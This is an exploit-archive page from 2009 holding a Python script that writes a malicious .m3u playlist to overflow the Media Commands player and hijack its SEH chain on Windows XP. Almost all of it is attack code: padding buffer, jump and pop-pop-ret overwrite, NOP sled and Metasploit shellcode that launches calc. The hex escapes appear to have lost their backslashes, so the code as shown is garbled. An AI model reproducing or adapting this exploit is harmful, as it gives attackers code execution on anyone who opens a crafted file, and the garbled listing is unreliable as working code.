[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Media Commands (m3u File) Local SEH Overwrite Exploit
# Published : 2009-03-02
# Author : His0k4
# Previous Title : Merak Media PLayer 3.2 m3u File Local Buffer Overflow Exploit (SEH)
# Next Title : VUplayer 2.49 .CUE File Local Buffer Overflow Exploit


#usage: exploit.py
print "**************************************************************************"
print " Media Commands (m3u File) local Seh Overwrite Exploitn"
print " Founder: Hakxer"
print " Exploited: His0k4"
print " Tested on: Windows XP Pro SP2 Frn"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)n"
print "**************************************************************************"
         	

			
			
buff = "x41" * 4103

next_seh = "xEBx06x90x90" 

seh = "x35x2FxC6x72" #pop pop ret msacm32.drv

nop = "x90" * 19

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
	"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
	"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
	"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
	"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
	"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54"
	"x42x50x42x50x42x50x4bx38x45x54x4ex53x4bx38x4ex47"
	"x45x50x4ax57x41x30x4fx4ex4bx48x4fx34x4ax41x4bx58"
	"x4fx35x42x42x41x50x4bx4ex49x54x4bx38x46x43x4bx58"
	"x41x50x50x4ex41x33x42x4cx49x59x4ex4ax46x38x42x4c"
	"x46x37x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e"
	"x46x4fx4bx33x46x45x46x42x46x50x45x37x45x4ex4bx38"
	"x4fx45x46x32x41x30x4bx4ex48x46x4bx48x4ex30x4bx54"
	"x4bx48x4fx35x4ex41x41x30x4bx4ex4bx58x4ex41x4bx58"
	"x41x50x4bx4ex49x58x4ex55x46x42x46x50x43x4cx41x33"
	"x42x4cx46x36x4bx48x42x44x42x53x45x38x42x4cx4ax37"
	"x4ex50x4bx38x42x54x4ex50x4bx48x42x57x4ex51x4dx4a"
	"x4bx38x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b"
	"x42x30x42x50x42x50x4bx38x4ax36x4ex33x4fx35x41x43"
	"x48x4fx42x56x48x55x49x38x4ax4fx43x38x42x4cx4bx47"
	"x42x35x4ax46x42x4fx4cx38x46x30x4fx55x4ax36x4ax49"
	"x50x4fx4cx58x50x30x47x55x4fx4fx47x4ex50x36x4fx46"
	"x46x47x45x56x42x57x41x56x46x56x42x30x5a"
    )

exploit = buff + next_seh + seh + nop + shellcode

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit File Created!"
except:
    print "Error"

# www.Syue.com [2009-03-02]